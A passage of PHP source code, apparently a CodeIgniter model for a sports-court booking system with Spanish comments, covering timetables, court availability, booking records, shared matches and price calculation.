opcion"); $sql = "SELECT id, description FROM zz_booking_status "; $query = $this->db->query($sql); foreach ($query->result() as $row) { $result[$row->id]=$this->lang->line($row->description); } return $result; } ############################################################################## function getPaymentWaysArray() { //$query = $this->db->get('entries', 10); //return $query->result(); $result=array(""=>"Selecciona opcion"); $sql = "SELECT id, description FROM zz_paymentway WHERE active=1"; $query = $this->db->query($sql); foreach ($query->result() as $row) { $result[$row->id]=$this->lang->line($row->description); } return $result; } ############################################################################## function getSpecialTimetable() { # Devuelve array con el horario especial comรบn para la fecha definida $date=$this->date; $weekday=@date('N', strtotime($date)); $court=$this->court; if($date!="" && $weekday!="") { # Compruebo si hay un horario especial activo para la fecha dada para todas las pistas $sql = "SELECT time_table FROM time_tables_specials WHERE status = 1 and type = 2 and (id_court = 0 or id_court = ?) and date = ? LIMIT 1"; $query = $this->db->query($sql, array($court, $date)); //echo '<br>sesion: '.$this->db->last_query(); if ($query->num_rows() > 0) { $row = $query->row(); $timetable=$row->time_table; } else { # Compruebo si hay un horario especial activo para una fecha anual para todas las pistas $date_tmp=explode("-", $date); $date_anual='%'.$date_tmp[1]."-".$date_tmp[2]; $sql = "SELECT time_table FROM time_tables_specials WHERE status = 1 and type = 1 and id_court = 0 and date LIKE ? LIMIT 1"; $query = $this->db->query($sql, array($date_anual)); if ($query->num_rows() > 0) { $row = $query->row(); $timetable=$row->time_table; } else return NULL; } //echo "<br>Horario: ".$timetable; # Recupero el detalle del timetable asociado al horario especial $result=array(); $sql = "SELECT time_tables_detail.`interval`, time_tables_detail.status FROM time_tables_detail, time_tables WHERE time_tables_detail.id_time_table = time_tables.id AND time_tables_detail.id_time_table = ? AND (time_tables_detail.weekday = ? OR time_tables.everyday = 1) ORDER BY time_tables_detail.`interval`"; $query = $this->db->query($sql, array($timetable, $weekday)); //echo '<br>sesion: '.$this->db->last_query(); //exit($date.' - '.$weekday); if ($query->num_rows() > 0) { foreach ($query->result() as $row) { $result[$court."-".date('U', strtotime($date." ".$row->interval))]=array(date('H:i', strtotime($row->interval)),$row->status, '', '', '', '', ''); } //print("horario especial periodico, encontrado.<br>");//print_r ($result); $this->availability=$result; return NULL; } else return NULL; # Aquรญ habrรญa que meter una funcion que rellene los posibles espacios vacรญos del array y lo ordene print_r ($result); } else return NULL; } ############################################################################## function getSpecialTimetableByCourt() { # Devuelve array con el horario especial especรญfico para la pista dada $court=$this->court; //echo "PIsta en marcha: ".$this->court."<br>"; $date=$this->date; $weekday=@date('N', strtotime($date)); if($court!="" && $date!="" && $weekday!="") { # Compruebo si hay un horario especial activo para la fecha dada para todas las pistas $sql = "SELECT time_table FROM time_tables_specials WHERE status = 1 and type = 2 and id_court = ? and date = ? LIMIT 1"; $query = $this->db->query($sql, array($court, $date)); if ($query->num_rows() > 0) { $row = $query->row(); $timetable=$row->time_table; } else { # Compruebo si hay un horario especial activo para una fecha anual para todas las pistas $date_tmp=explode("-", $date); $date_anual='%'.$date_tmp[1]."-".$date_tmp[2]; $sql = "SELECT time_table FROM time_tables_specials WHERE status = 1 and type = 1 and id_court = ? and date LIKE ? LIMIT 1"; $query = $this->db->query($sql, array($court, $date_anual)); if ($query->num_rows() > 0) { $row = $query->row(); $timetable=$row->time_table; } else return NULL; } //echo "<br>Horario: ".$timetable; # Recupero el detalle del timetable asociado al horario especial $result=array(); $sql = "SELECT time_tables_detail.`interval`, time_tables_detail.status FROM time_tables_detail, time_tables WHERE time_tables_detail.id_time_table = time_tables.id AND time_tables_detail.id_time_table = ? AND (time_tables_detail.weekday = ? OR time_tables.everyday = 1) ORDER BY time_tables_detail.`interval`"; $query = $this->db->query($sql, array($timetable, $weekday)); if ($query->num_rows() > 0) { foreach ($query->result() as $row) { $result[$court."-".date('U', strtotime($date." ".$row->interval))]=array(date('H:i', strtotime($row->interval)),$row->status, '', '', '', '', ''); } //print("horario especial periodico, encontrado.<br>"); $this->availability=$result; return NULL; } else return NULL; # Aquรญ habrรญa que meter una funcion que rellene los posibles espacios vacรญos del array y lo ordene } else return NULL; } ############################################################################## # ------------------------------------------------------------------- # ------------------------------------------------------------------- # Funcion de preseleccion de pista # ------------------------------------------------------------------- function getAvailabilityByCourt($fecha="", $pista="", $exclusion = NULL, $options = NULL) { # Devuelve array con las horas disponibles para ser reservadas de la pista y dia comunicados, del 'availability' almacenado # $exclusion es el id_transaction que ignoraremos en caso de venir (para cambios de horas de reserva en que se solapen parcialmente la reserva antigua y la nueva, por ejemplo...) # $options albergarรก opciones # $options['block_past'] definirรก si toda fecha y hora pasada se marca como bloqueada o no .. .para evitar reservar horas antiguas.. pero con la opciรณn de habilitarlo para la comprobaciรณn de si cierta pista estaba hรกbil en el pasado o para grabar clases que empiezan en fechas antiguas sin que casque. if(!isset($options)) $options = array('block_past' => TRUE); if($fecha=="" || $pista=="") { foreach($this->availability as $intervalo => $valores) { $this->availability[$intervalo][1]="0"; } return NULL; } # Si la fecha es pasada, todo bloqueado if($options['block_past'] && $fecha < date($this->config->item('date_db_format'))) { foreach($this->availability as $intervalo => $valores) { $this->availability[$intervalo][1]="0"; } return NULL; } //echo $fecha; # Si la fecha es hoy, bloqueo horas pasadas (permitiendo cierto retraso en este bloqueo) if($options['block_past']){ $delay = $this->config->item('booking_delay_seconds'); $profile = $this->redux_auth->profile(); if(count($delay)<= 0 || !is_object($profile) ||!isset($delay[$profile->group]) || !is_numeric($delay[$profile->group])) $retardo = 0; else $retardo = $delay[$profile->group]; //print_r($profile); //echo '<br>'.$profile->group.' - '.$delay[$profile->group]; if($fecha == date($this->config->item('date_db_format'))) { //echo $this->date.' Hoy -'; foreach($this->availability as $intervalo => $valores) { if(strtotime($this->availability[$intervalo][0]) <= (strtotime(date($this->config->item('reserve_hour_filter_format'))) - $retardo )) { $this->availability[$intervalo][1]="0"; } } } } $availability=$this->availability; //echo "<b>AAAAAAAA</b>"; $sql = "SELECT intervalo, id_transaction, status, shared, no_cost FROM booking WHERE status > 0 and date = ? and id_court = ? order by intervalo"; $query = $this->db->query($sql, array($fecha, $pista)); if ($query->num_rows() > 0) { foreach ($query->result() as $row) { $id=$pista."-".date('U', strtotime($fecha." ".$row->intervalo)); //echo "<b>".$id."</b><br>"; if(isset($availability[$id]) && $availability[$id][1]=="1") { //echo "existe!<br>"; $this->availability[$id][1]="0"; # Si tengo marcada una reserva para excluirla y estamos justo en ese caso, pongo de nuevo la disponibilidad a 1 if($row->id_transaction == $exclusion) $this->availability[$id][1]="1"; } $this->availability[$id][2] = $row->id_transaction; $this->availability[$id][3] = $row->status; $info = $this->getBookingInfoById($row->id_transaction); //echo '<pre>';print_r($info); $this->availability[$id][4] = $info['inicio'].'-'.$info['fin']; $this->availability[$id][5] = $row->shared; $this->availability[$id][6] = $row->no_cost; } } return NULL; } ############################################################################## function checkExactAvailability() { # Devuelve si un intervalo estรก reservado o no $sql = "SELECT id FROM booking WHERE status > 0 and date = ? and intervalo = ? and id_court = ? LIMIT 1"; $query = $this->db->query($sql, array($this->date, $this->intervalo, $this->court)); if ($query->num_rows() > 0) return FALSE; else return TRUE; } ############################################################################## function bookingInterval() { # Marca un intervalo como reservado $debug = FALSE; $sql = "SELECT id FROM booking WHERE status > 0 and date = ? and intervalo = ? and id_court = ? LIMIT 1"; $query = $this->db->query($sql, array($this->date, $this->intervalo, $this->court)); if($debug) 'SQL: '.$this->db->last_query(); if ($query->num_rows() == 0) { $data = array( 'id_booking' => $this->court."-".date('U', strtotime($this->date." ".$this->intervalo)), 'id_transaction' => $this->session->userdata('idTransaction'), 'booking_code' => $this->app_common->reserve_encode($this->session->userdata('idTransaction')), 'id_user' => $this->id_user, 'id_court' => $this->court, 'date' => $this->date, 'session' => $this->sesion, 'intervalo' => $this->intervalo, 'price' => $this->price, 'price_court' => $this->price_court, 'price_light' => 0, 'price_supl1' => $this->price_supl1, 'price_supl2' => $this->price_supl2, 'price_supl3' => 0, 'price_supl4' => 0, 'price_supl5' => 0, 'status' => $this->status, 'create_user' => $this->create_user, 'create_time' => date($this->config->item('log_date_format')) ); if($this->status > 0){ # Si el status es mayor que cero, marco la reserva... Si no, solo ejecuto la funcionalidad de marcar en sesion $this->db->insert('booking', $data); log_message('debug',$this->db->last_query()); } $intervalos=$this->session->userdata('bookingInterval'); if(!isset($intervalos) || !is_array($intervalos)) { $this->session->set_userdata('bookingInterval', array ($data['id_booking'])); } else { array_push($intervalos, $data['id_booking']); $this->session->set_userdata('bookingInterval', $intervalos); } //$this->session->set_flashdata('bookingInterval', 'value'); return TRUE; } else return FALSE; } ############################################################################## function getBookingInfoBySession($session) { # Devuelve informaciรณn de la reserva pendiente registrada para un numero de sesion $this->load->model('Pistas_model', 'pistas', TRUE); $sql = "SELECT courts.id as id_court, courts.name as name, booking.id, booking.id_transaction, date , intervalo, price, price_light, price_court, booking_code, id_user, booking.user_desc, user_phone, no_cost, no_cost_desc, booking.status as status, meta.first_name as first_name, meta.last_name as last_name, meta.phone as phone, zz_booking_status.description as status_desc, id_paymentway FROM courts, zz_booking_status, booking LEFT OUTER JOIN meta ON booking.id_user = meta.user_id WHERE zz_booking_status.id = booking.status AND courts.id=booking.id_court and courts.active=1 and session = ? ORDER BY id_court asc, intervalo asc"; $query = $this->db->query($sql, array($session)); //echo 'sesion: '.$this->db->last_query(); if ($query->num_rows() > 0) { $precio_total=0; $precio_pista=0; $intervalos=0; $min=''; $max=''; $light = false; $light_price = 0; $pista=array(); $fecha=0; $usuario=0; $id_court=0; $status=0; $id = ''; foreach ($query->result() as $row) { if($id == '' || $id > $row->id) $id = $row->id; // Me quedo con el id menor if($row->price_light != 0) $light = true; $light_price += $row->price_light; $id_court = $row->id_court; $reserve_interval = $this->pistas->getCourtInterval($row->id_court); $status = $row->status; if(!isset($pista[$row->name])) $pista[$row->name] = array(); $inicio=date($this->config->item('hour_db_format'), strtotime($row->intervalo)); $fin=date($this->config->item('hour_db_format'), strtotime($row->intervalo)+($reserve_interval * 60)); array_push($pista[$row->name], array($inicio, $fin, $row->price)); if($min > $inicio || $min=='') $min = $inicio; if($max < $fin || $max=='') $max = $fin; $usuario = $row->id_user; if($usuario==0) { $user_desc = $row->user_desc; $user_phone = $row->user_phone; } else { $user_desc = $row->first_name.' '.$row->last_name; $user_phone = $row->phone; } $intervalos++; $precio_total=$precio_total+$row->price; $precio_pista=$precio_pista+$row->price_court; $fecha=$row->date; } $result=array( 'date' => $fecha, 'price' => $precio_pista, 'intervals' => $intervalos, 'user' => $usuario, 'user_desc' => $user_desc, 'user_phone' => $user_phone, 'inicio' => $min, 'fin' => $max, 'light' => $light, 'light_price' => $light_price, 'total_price' => $precio_total, 'reserva' => $pista , 'id_court' => $id_court, 'court' => $row->name, 'no_cost' => $row->no_cost, 'no_cost_desc' => $row->no_cost_desc, 'booking_code' => $row->booking_code, 'id_transaction' => $row->id_transaction, 'id' => $id, 'status' => $status, 'status_desc' => $row->status_desc, 'paymentway' => $row->id_paymentway, 'operation_desc' => 'Reserva ('.$row->booking_code.') de '.$row->name.' el '.date($this->config->item('reserve_date_filter_format'), strtotime($fecha)).' de '.$min.' a '.$max ); return $result; } else return FALSE; } ############################################################################## function getBookingInfoById($id_transacion) { # Devuelve informaciรณn de la reserva pendiente registrada para un numero de sesion $sql = "SELECT courts.id as id_court, courts.name as name, booking.id, booking.id_transaction, date , intervalo, price, price_light, price_court, id_user, booking.user_desc, booking_code, user_phone, no_cost, no_cost_desc, booking.status as status, meta.first_name as first_name, meta.last_name as last_name, meta.phone as phone, zz_booking_status.description as status_desc, courts.sport_type as id_sport, zz_sports.description as sport, shared, id_paymentway, booking.create_time, booking.price_supl1, booking.price_supl2 FROM courts, zz_booking_status, zz_sports, booking LEFT OUTER JOIN meta ON booking.id_user = meta.user_id WHERE zz_booking_status.id = booking.status AND zz_sports.id = courts.sport_type AND courts.id=booking.id_court and courts.active=1 and id_transaction = ? ORDER BY id_court asc, intervalo asc"; $query = $this->db->query($sql, array($id_transacion)); //echo $this->db->last_query();//exit(); if ($query->num_rows() > 0) { $precio_total=0; $precio_pista=0; $precio_supl1=0; $precio_supl2=0; $intervalos=0; $min=''; $max=''; $light = false; $light_price = 0; $pista=array(); $fecha=0; $usuario=0; $id_court=0; $status=0; $id = ''; foreach ($query->result() as $row) { if($id == '' || $id > $row->id) $id = $row->id; // Me quedo con el id menor if($row->price_light != 0) $light = true; $light_price += $row->price_light; $id_court = $row->id_court; $reserve_interval = $this->pistas->getCourtInterval($id_court); $status = $row->status; if(!isset($pista[$row->name])) $pista[$row->name] = array(); $inicio=date($this->config->item('hour_db_format'), strtotime($row->intervalo)); $fin=date($this->config->item('hour_db_format'), strtotime($row->intervalo)+($reserve_interval * 60)); array_push($pista[$row->name], array($inicio, $fin, $row->price)); if($min > $inicio || $min=='') $min = $inicio; if($max < $fin || $max=='') $max = $fin; $usuario = $row->id_user; if($usuario==0) { $user_desc = $row->user_desc; $user_phone = $row->user_phone; } else { $user_desc = $row->first_name.' '.$row->last_name; $user_phone = $row->phone; } $intervalos++; //$precio_total=$precio_total+$row->price_court; $precio_supl1=$precio_supl1+$row->price_supl1; $precio_supl2=$precio_supl2+$row->price_supl2; $precio_total=$precio_total+$row->price; $precio_pista=$precio_pista+$row->price_court; $fecha=$row->date; } $result=array( 'date' => $fecha, 'fecha' => date($this->config->item('reserve_date_filter_format') ,strtotime($fecha)), 'price' => $precio_pista, 'intervals' => $intervalos, 'user' => $usuario, 'user_desc' => $user_desc, 'user_phone' => $user_phone, 'inicio' => $min, 'fin' => $max, 'light' => $light, 'light_price' => $light_price, 'total_price' => $precio_total, 'precio_supl1' => $precio_supl1, 'precio_supl2' => $precio_supl2, 'reserva' => $pista , 'id_court' => $id_court, 'court' => $row->name, 'id_sport' => $row->id_sport, 'sport' => $row->sport, 'no_cost' => $row->no_cost, 'no_cost_desc' => $row->no_cost_desc, 'booking_code' => $row->booking_code, 'id_transaction' => $row->id_transaction, 'id' => $id, 'status' => $status, 'status_desc' => $row->status_desc, 'paymentway' => $row->id_paymentway, 'operation_desc' => 'Reserva ('.$row->booking_code.') de '.$row->name.' el '.date($this->config->item('reserve_date_filter_format'), strtotime($fecha)).' de '.$min.' a '.$max, 'create_time' => $row->create_time, ); # Informaciรณn adicional para partidos de tipo 'reto' if($row->shared == '1') { $sql = "SELECT * FROM booking_shared WHERE id_transaction = ?"; $query = $this->db->query($sql, array($id_transacion)); //echo $this->db->last_query();//exit(); if ($query->num_rows() > 0) { foreach ($query->result() as $row) { $result['players'] = $row->players; $result['price_by_player'] = $row->price_by_player; $result['gender'] = $row->gender; $result['low_player_level'] = $row->low_player_level; $result['high_player_level'] = $row->high_player_level; $result['limit_date'] = $row->limit_date; $result['visible'] = $row->visible; $result['last_notify'] = $row->last_notify; $result['winner_recorded'] = $row->winner_recorded; } } else { $result['players'] = ''; $result['price_by_player'] = ''; $result['gender'] = ''; $result['low_player_level'] = ''; $result['high_player_level'] = ''; $result['limit_date'] = ''; $result['visible'] = ''; $result['last_notify'] = ''; $result['winner_recorded'] = '0'; } $sql = "SELECT * FROM booking_players WHERE id_transaction = ?"; $query = $this->db->query($sql, array($id_transacion)); //echo $this->db->last_query();//exit(); if ($query->num_rows() > 0) { $signed = 0; $signed_users = array(); $waiting = 0; $waiting_users = array(); foreach ($query->result() as $row) { if($row->status == 1 || $row->status == 5 || $row->status == 7) { $signed++; array_push($signed_users, array('id_user' => $row->id_user, 'status' => $row->status)); } if($row->status == 2) { $waiting++; array_push($waiting_users, array('id_user' => $row->id_user, 'status' => $row->status)); } } $result['signed'] = $signed; $result['signed_users'] = $signed_users; $result['waiting'] = $waiting; $result['waiting_users'] = $waiting_users; } else { $result['signed'] = 0; $result['signed_users'] = array(); $result['waiting'] = 0; $result['waiting_users'] = array(); } } else { $result['players'] = ''; $result['price_by_player'] = ''; $result['gender'] = ''; $result['low_player_level'] = ''; $result['high_player_level'] = ''; $result['limit_date'] = ''; $result['visible'] = ''; $result['last_notify'] = ''; $sql = "SELECT * FROM booking_players WHERE id_transaction = ?"; $query = $this->db->query($sql, array($id_transacion)); //echo $this->db->last_query();//exit(); if ($query->num_rows() > 0) { $signed = 0; $signed_users = array(); foreach ($query->result() as $row) { $signed++; $row_user_desc = $row->user_desc; $row_user_phone = $row->user_phone; if($row->id_user != 0) { $this->CI =& get_instance(); $this->CI->load->model('Redux_auth_model', 'usuario', TRUE); $row_user_desc = $this->CI->usuario->getUserDesc($row->id_user); $row_user_phone = $this->CI->usuario->getUserPhone($row->id_user); } array_push($signed_users, array('id' => $row->id, 'id_user' => $row->id_user, 'user_desc' => $row_user_desc, 'user_phone' => $row_user_phone, 'status' => $row->status)); } $result['players'] = $signed; $result['playing_users'] = $signed_users; } else { $result['players'] = 0; $result['playing_users'] = array(); } } return $result; } else return FALSE; } ############################################################################## function getBookingInfoByRealid($id) { # Devuelve informaciรณn de la reserva pendiente registrada para un numero de sesion $this->load->model('Pistas_model', 'pistas', TRUE); $sql = "SELECT courts.id as id_court, courts.name as name, booking.id, booking.id_transaction, booking.date , booking.intervalo, booking.price, booking.price_light, booking.price_court, booking.id_user, booking.user_desc, booking.booking_code, booking.user_phone, booking.no_cost, booking.no_cost_desc, booking.status as status, meta.first_name as first_name, meta.last_name as last_name, meta.phone as phone, zz_booking_status.description as status_desc, booking.id_paymentway FROM booking LEFT OUTER JOIN booking b2 ON booking.id_transaction = b2.id_transaction LEFT OUTER JOIN zz_booking_status ON zz_booking_status.id = booking.status LEFT OUTER JOIN courts ON courts.id=booking.id_court LEFT OUTER JOIN meta ON booking.id_user = meta.user_id WHERE courts.active=1 and b2.id = ? ORDER BY id_court asc, intervalo asc"; $query = $this->db->query($sql, array($id)); //echo $this->db->last_query();//exit(); log_message('debug',$this->db->last_query()); if ($query->num_rows() > 0) { $precio_total=0; $precio_pista=0; $intervalos=0; $min=''; $max=''; $light = false; $light_price = 0; $pista=array(); $fecha=0; $usuario=0; $id_court=0; $status=0; $id = ''; foreach ($query->result() as $row) { if($id == '' || $id > $row->id) $id = $row->id; // Me quedo con el id menor if($row->price_light != 0) $light = true; $light_price += $row->price_light; $id_court = $row->id_court; $reserve_interval = $this->pistas->getCourtInterval($row->id_court); $status = $row->status; if(!isset($pista[$row->name])) $pista[$row->name] = array(); $inicio=date($this->config->item('hour_db_format'), strtotime($row->intervalo)); $fin=date($this->config->item('hour_db_format'), strtotime($row->intervalo)+($reserve_interval * 60)); array_push($pista[$row->name], array($inicio, $fin, $row->price)); if($min > $inicio || $min=='') $min = $inicio; if($max < $fin || $max=='') $max = $fin; $usuario = $row->id_user; if($usuario==0) { $user_desc = $row->user_desc; $user_phone = $row->user_phone; } else { $user_desc = $row->first_name.' '.$row->last_name; $user_phone = $row->phone; } $intervalos++; $precio_total=$precio_total+$row->price; $precio_pista=$precio_pista+$row->price_court; $fecha=$row->date; } $result=array( 'date' => $fecha, 'price' => $precio_pista, 'intervals' => $intervalos, 'user' => $usuario, 'user_desc' => $user_desc, 'user_phone' => $user_phone, 'inicio' => $min, 'fin' => $max, 'light' => $light, 'light_price' => $light_price, 'total_price' => $light_price + $precio_total, 'reserva' => $pista , 'id_court' => $id_court, 'court' => $row->name, 'no_cost' => $row->no_cost, 'no_cost_desc' => $row->no_cost_desc, 'booking_code' => $row->booking_code, 'id_transaction' => $row->id_transaction, 'id' => $id, 'status' => $status, 'status_desc' => $row->status_desc, 'paymentway' => $row->id_paymentway, 'operation_desc' => 'Reserva ('.$row->booking_code.') de '.$row->name.' el '.date($this->config->item('reserve_date_filter_format'), strtotime($fecha)).' de '.$min.' a '.$max ); return $result; } else return FALSE; } ############################################################################## function eraseInterval() { # Devuelve array con las horas disponibles para ser reservadas de la pista y dia comunicados, del 'availability' almacenado $sql = "SELECT id FROM booking WHERE status > 0 and date = ? and intervalo = ? and id_court = ? and id_user = ? LIMIT 1"; $query = $this->db->query($sql, array($this->date, $this->intervalo, $this->court, $this->id_user)); if ($query->num_rows() > 0) { /* $data = array( 'id_booking' => $this->court."-".date('U', strtotime($this->date." ".$this->intervalo)), 'id_user' => $this->id_user, 'id_court' => $this->court, 'date' => $this->date, 'intervalo' => $this->intervalo ); */ $data = array( 'id_transaction' => $this->session->userdata('idTransaction'), 'id_user' => $this->id_user, 'id_court' => $this->court, 'date' => $this->date, 'intervalo' => $this->intervalo ); $this->db->delete('booking',$data); log_message('debug',$this->db->last_query()); $intervalos=$this->session->userdata('bookingInterval'); if(isset($intervalos) && is_array($intervalos)) { $intervalos2=array($data['id_transaction']); $intervalos = array_diff($intervalos, $intervalos2); $this->session->set_userdata('bookingInterval', $intervalos); } $this->session->set_flashdata('bookingInterval', 'value'); return TRUE; } else return FALSE; } ############################################################################## function clearByUser($usuario) { # Si llamo a esta funciรณn borro todas las reservas pendientes de pagar (estado '5') de el usuario activo, por sesion if($usuario!=="") { $data = array( 'session' => $this->session->userdata('session_id'), 'status' => 5, ); $this->db->delete('booking',$data); //log_message('debug',$this->db->last_query()); $data = array( 'id_user' => $usuario, 'status' => 5, ); $this->db->delete('booking',$data); //log_message('debug',$this->db->last_query()); } return NULL; } ############################################################################## function clearBySession($session) { # Si llamo a esta funciรณn borro todas las reservas pendientes de pagar (estado '5') de el usuario activo, por sesion if($session!=="") { $data = array( 'session' => $session, 'status' => 5, ); $this->db->delete('booking',$data); //log_message('debug',$this->db->last_query()); } else { $data = array( 'session' => $this->session->userdata('session_id'), 'status' => 5, ); $this->db->delete('booking',$data); //log_message('debug',$this->db->last_query()); } return NULL; } ############################################################################## function getPaymentMethodsByUser($user_level) { # Devuelve array de los diferentes mรฉtodos de pago disponibles exit('funciรณn reservas->getPaymentMethodsByUser() deshabilitada'); return null; $payment = array ('reserve' => FALSE, 'cash' => FALSE, 'paypal' => FALSE, 'prepaid' => FALSE, 'creditcard' => FALSE, 'tpv' => FALSE, 'bank' => FALSE); foreach($payment as $type => $value) { $payment[$type] = $this->app_common->PaymentMethodStatus($type); } # Aqui deberรญa comprobar los permisos del usuario if($user_level >= 9) { $payment['reserve'] = FALSE; $payment['prepaid'] = FALSE; $payment['cash'] = FALSE; $payment['paypal'] = FALSE; $payment['bank'] = FALSE; } if($user_level == 7) { $payment['reserve'] = FALSE; } if($user_level == 6) { $payment['reserve'] = FALSE; } if($user_level >= 5) { $payment['cash'] = FALSE; $payment['bank'] = FALSE; $payment['creditcard'] = FALSE; } return $payment; } ############################################################################## function setSelectionReserved($id_transaction, $status, $payment = "", $user, $userdesc='', $phone='', $no_cost, $no_cost_desc = NULL) { # Marca una reserva con un estado de reserva determinado $data = array( 'status' => $status, 'id_paymentway' => $payment, 'id_user' => $user, 'user_desc' => $userdesc, 'user_phone' => $phone, 'no_cost' => $no_cost, 'no_cost_desc' => $no_cost_desc, 'modify_user' => $user, 'modify_time' => date($this->config->item('log_date_format')) ); $this->db->where('id_transaction', $id_transaction); $this->db->update('booking', $data); log_message('debug',$this->db->last_query()); if($this->db->affected_rows()) return TRUE; //echo $this->db->last_query(); //exit(); return FALSE; } ############################################################################## function setSelectionShared($id_transaction) { # Marca una reserva con un estado de reserva determinado $data = array( 'shared' => 1, 'modify_time' => date(DATETIME_DB), 'modify_user' => $this->session->userdata('user_id'), 'modify_ip' => $this->session->userdata('ip_address') ); $this->db->where('id_transaction', $id_transaction); $this->db->update('booking', $data); log_message('debug',$this->db->last_query()); if($this->db->affected_rows()) return TRUE; //echo $this->db->last_query(); //exit(); return FALSE; } ############################################################################## /* function setBookingExtraInfo($id_transaction, $status, $user, $userdesc='', $phone='', $no_cost, $no_cost_desc = NULL) { # Marca una reserva con un estado de reserva determinado $data = array( 'status' => $status, 'id_user' => $user, 'user_desc' => $userdesc, 'user_phone' => $phone, 'no_cost' => $no_cost, 'no_cost_desc' => $no_cost_desc, 'modify_user' => $user, 'modify_time' => date($this->config->item('log_date_format')) ); $this->db->where('id_transaction', $id_transaction); $this->db->update('booking', $data); //echo $this->db->last_query(); //log_message('debug',$this->db->last_query()); //exit(); return NULL; } */ ############################################################################## function setLight($id_transaction) { # Marca una reserva con un estado de reserva determinado //print_r( $this->session); $luz = 0; $precio = 0; $sql = "SELECT * FROM booking where Id_Transaction = ? "; $query = $this->db->query($sql, array($id_transaction)); //$count = $this->db->count_all_results(); //$precio_luz = $quantity / $count; foreach ($query->result() as $row) { $this->date = $row->date; $this->intervalo = $row->intervalo; $this->court = $row->id_court; $this->getLightPrice(); $luz = $this->price_light; $precio = $row->price + $luz; $id_booking = $row->id_booking; $data = array( 'price' => $precio, 'price_light' => $luz, 'modify_user' => $this->session->userdata('user_id'), 'modify_time' => date($this->config->item('log_date_format')) ); $this->db->where('id_booking', $id_booking); $this->db->update('booking', $data); log_message('debug',$this->db->last_query(). ' - '.$row->price); } //echo $this->db->last_query(); //log_message('debug',$this->db->last_query()); //exit(); return NULL; } ############################################################################## function getLight($id_transaction) { # Marca una reserva con un estado de reserva determinado //print_r( $this->session); $luz = 0; $precio = 0; $sql = "SELECT * FROM booking where Id_Transaction = ? "; $query = $this->db->query($sql, array($id_transaction)); //$count = $this->db->count_all_results(); //$precio_luz = $quantity / $count; foreach ($query->result() as $row) { $this->date = $row->date; $this->intervalo = $row->intervalo; $this->court = $row->id_court; $this->getLightPrice(); $luz = $this->price_light; $precio = $precio + $luz; } //echo $this->db->last_query(); //log_message('debug',$this->db->last_query()); //exit(); return $precio; } function setPrice($id_transaction) { $this->load->library('booking'); $debug = FALSE; # Marca una reserva con un estado de reserva determinado //print_r( $this->session); $luz = 0; $precio = 0; $sql = "SELECT * FROM booking where Id_Transaction = ? "; $query = $this->db->query($sql, array($id_transaction)); //$count = $this->db->count_all_results(); //$precio_luz = $quantity / $count; //echo 'transaccion: '.$id_transaction.'<br>'; foreach ($query->result() as $row) { $this->date = $row->date; $this->intervalo = $row->intervalo; $this->court = $row->id_court; $this->id_user = $row->id_user; if($this->id_user != 0) { $this->CI =& get_instance(); $this->CI->load->model('Redux_auth_model', 'usuario', TRUE); $this->group = $this->CI->usuario->getUserGroup($row->id_user); if(!isset($this->group)) $this->group = 9; } else $this->group = 9; /* echo 'fecha: '.$this->date.'<br>'; echo 'hora: '.$this->intervalo.'<br>'; echo 'pista: '.$this->court.'<br>'; echo 'usuario: '.$this->id_user.'<br>'; echo 'grupo: '.$this->group.'<br>'; */ $this->getPrice(); ######################## $extras = $this->booking->getExtra($id_transaction, $this->court.'-'.strtotime($this->date.' '.$this->intervalo)); if($debug) echo "\r\n".'<br>el extra es '.$extras.' '; $this->price_supl1 = $extras; ########################## # Si tiene precio de luz, es que lo ha seleccionado. Recalculo el precio y defino la variable if($row->price_light != 0) { $this->getLightPrice(); $luz = $this->price_light; } else $luz = 0; $precio = $this->price_court + $luz + $this->price_supl1 + $row->price_supl2; #Compruebo los extras //$extras = $this->booking->getExtra($this->session->userdata('idTransaction'), $this->intervalo); //if($debug) echo "\r\n".'<br>el extra es '.$extras.' '; //$precio += $extras; //$this->reservas->price = $this->reservas->price + $extras; /* echo 'luz: '.$this->price_light.'<br>'; echo 'pista: '.$this->price_court.'<br>'; echo 'precio: '.$this->price.'<br>'; */ $data = array( 'price' => $precio, 'price_court' => $this->price_court, 'price_light' => $luz, 'price_supl1' => $this->price_supl1, 'modify_user' => $this->session->userdata('user_id'), 'modify_time' => date($this->config->item('log_date_format')), 'modify_ip' => $this->session->userdata('ip_address') ); $this->db->where('id_transaction', $id_transaction); $this->db->where('intervalo', $this->intervalo); $this->db->update('booking', $data); //echo $this->db->last_query(); } //log_message('debug',$this->db->last_query()); //exit(); return NULL; } function setPriceExtra($id_transaction, $field, $quantity, $interval = 'all') { //print_r( $this->session); $luz = 0; $precio = 0; $sql = "SELECT * FROM booking where Id_Transaction = ? order by intervalo"; $query = $this->db->query($sql, array($id_transaction)); //$count = $this->db->count_all_results(); //$precio_luz = $quantity / $count; //echo 'transaccion: '.$id_transaction.'<br>'; $i = 0; $precio = 0; foreach ($query->result() as $row) { $actualiza = FALSE; if($interval == 'all') $actualiza = TRUE; if($interval == 'first' && $i == 0) $actualiza = TRUE; $this->intervalo = $row->intervalo; $precio = 0; if($field != 'price_court' ) $precio += $row->price_court; //log_message('debug','Sumo precio pista ('.$row->price_court.') y queda '.$precio); if($field != 'price_light' ) $precio += $row->price_light; //log_message('debug','Sumo precio luz ('.$row->price_light.') y queda '.$precio); if($field != 'price_supl1' ) $precio += $row->price_supl1; //log_message('debug','Sumo precio supl1 ('.$row->price_supl1.') y queda '.$precio); if($field != 'price_supl2' ) $precio += $row->price_supl2; //log_message('debug','Sumo precio price_supl2 ('.$row->price_supl2.') y queda '.$precio); if($field != 'price_supl3' ) $precio += $row->price_supl3; //log_message('debug','Sumo precio price_supl3 ('.$row->price_supl3.') y queda '.$precio); if($field != 'price_supl4' ) $precio += $row->price_supl4; //log_message('debug','Sumo precio price_supl4 ('.$row->price_supl4.') y queda '.$precio); $precio += $quantity; //log_message('debug','Precio final: '.$precio); $data = array( 'price' => $precio, $field => $quantity, 'modify_user' => $this->session->userdata('user_id'), 'modify_time' => date($this->config->item('log_date_format')), 'modify_ip' => $this->session->userdata('ip_address') ); if($actualiza){ $this->db->where('id_transaction', $id_transaction); $this->db->where('intervalo', $this->intervalo); $this->db->update('booking', $data); log_message('debug',$this->db->last_query()); if($interval == 'first') break; } //echo $this->db->last_query(); $i++; } log_message('debug',$this->db->last_query()); //exit(); return NULL; } ############################################################################## function getPrice( $options = array()) { # Devuelve precio del intervalo del dรญa para la pista solicitada $debug = FALSE; //echo "A"; if(!$this->date || !$this->intervalo) return NULL; //echo "B"; $id = $this->court; $date = $this->date; $time = $this->intervalo; $group = $this->group; if(!isset($group)) $group = 9; if($debug) print('<br><pre>'); $weekday=@date('N', strtotime($date)); 